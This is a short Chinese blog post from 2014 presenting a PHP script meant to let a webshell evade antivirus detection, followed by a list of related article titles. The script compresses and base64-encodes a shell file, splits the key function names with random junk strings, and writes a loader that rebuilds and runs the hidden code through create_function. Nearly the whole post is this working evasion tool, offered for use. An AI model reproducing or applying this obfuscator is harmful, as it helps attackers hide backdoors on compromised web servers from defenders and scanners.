一个PHP加密脚本,达到一定免杀效果
2014-01-04 11:03
387 查看
<?php /**************************************** *author: L.N. *blog : http://lanu.sinaapp.com *date : 2014.01.03 *****************************************/ $Key = ""; $YourShell = file_get_contents("1.php"); if($YourShell == null){ echo "not find content!"; } $En_Base64 = base64_encode(gzdeflate($YourShell)); $Lm_File = fopen('lm.php',"a+"); $Lm_YourShell = Encode($En_Base64,2, &$Key); $Lm_YourShell_Key = $Key; fwrite($Lm_File,"<?php \n/* code by L.N. http://lanu.sinaapp.com */\n"); fwrite($Lm_File,'$co ="'.$Lm_YourShell.'";'."\n"); $Lm_Str_Replace = Encode('str_replace', 2, &$Key); $Lm_Str_Replace_Key = $Key; fwrite($Lm_File,'$sr = str_replace("'.$Lm_Str_Replace_Key.'","","'.$Lm_Str_Replace.'");'."\n"); $Lm_Base64_Decode = Encode('base64_decode',2, &$Key); $Lm_Base64_Decode_Key = $Key; fwrite($Lm_File,'$bd = $sr("'.$Lm_Base64_Decode_Key.'","","'.$Lm_Base64_Decode.'");'."\n"); $Lm_Gzinflate = Encode('gzinflate',2, &$Key); $Lm_Gzinflate_Key = $Key; fwrite($Lm_File,'$ge = $sr("'.$Lm_Gzinflate_Key.'","","'.$Lm_Gzinflate.'");'."\n"); $Lm_Create_Cunction = Encode('create_function',2, &$Key); $Lm_Create_Cunction_Key = $Key; fwrite($Lm_File,'$cc = $sr("'.$Lm_Create_Cunction_Key.'","","'.$Lm_Create_Cunction.'");'."\n"); fwrite($Lm_File,'$ex = $cc("",$ge($bd($sr("'.$Lm_YourShell_Key.'","",$co))));'."\n"); fwrite($Lm_File,'$ex();'."\n"); fwrite($Lm_File,'?>'."\n"); fclose($Lm_File); function Encode($Str, $Key_Num, &$Key) { do{ $Key = RandString($Key_Num); }while(strpos($Str, $Key) !== false); return InsertString($Str,$Key,$Key_Num); } function RandString($Num) { $Str = 'abcdefghijklmnopqrstuvwxyz'; $Out_Str = ""; for($i=0;$i<$Num;$i++) { $Rand = rand(0,25); $Out_Str .= $Str[$Rand]; } return $Out_Str; } function InsertString($Str, $Key, $Key_Num) { $Str_Len = strlen($Str); if(intval($Str_Len/20) >= 5) { $Str_Rand_Num = 20; } elseif(intval($Str_Len/10) >= 5) { $Str_Rand_Num = 10; } elseif(intval($Str_Len/5) >= 5) { $Str_Rand_Num = 5; } else { $Str_Rand_Num = 2; } $Arr_Str = str_split($Str, $Str_Rand_Num); if($Key_Num > $Str_Rand_Num) { echo "Key_Num is not greater than Str_Rand_Num";exit; } for($i=1;$i<count($Arr_Str);$i++) { $Check_Str = $Arr_Str[$i-1] . $Key . $Arr_Str[$i]; if(strpos($Check_Str,$Key)<strlen($Arr_Str[$i-1])||strpos(strrev($Check_Str),strrev($Key))<strlen($Arr_Str[$i])) { continue; } else { $Arr_Str[$i-1] .= $Key; } } $Out_Str = implode($Arr_Str); return $Out_Str; } ?>
相关文章推荐
- 又一个加密PHP脚本的解码方法
- 又一个加密PHP脚本的解码方法
- 又一个加密PHP脚本的解码方法
- 又一个加密PHP脚本的解码方法
- PHP 一个可以过滤非法脚本的函数
- 一个获取指定目录下一定格式的文件名称和文件修改时间并保存为文件的python脚本
- PHP一个防止注入的脚本
- 修改caffe输出multilabel,并自己训练完成了一个神经网络,初步达到目标检测的效果
- 一个简单的php LDAP认证脚本
- VBS脚本加密/解密VBS脚本(简易免杀版1.1)
- 如何在已有网站的服务器上面,通过nginx配置虚拟主机来达到多个应用使用同一个服务器的效果
- base64加密PHP脚本的解码方法
- 滤了asa,cer,cdx,php,aspx等脚本类型的上传情况下添加一个ashx的上传类型
- 一个PHP针对数字的加密解密类
- 一个PHP邮件伪造脚本
- 用Html5 or JS实现点击一个按钮达到浏览器全屏效果
- 用一个listview达到ScrollView的效果
- Substr函数助你免杀php脚本
- 一个php加密方法
- shell跑一个PHP脚本的简单命令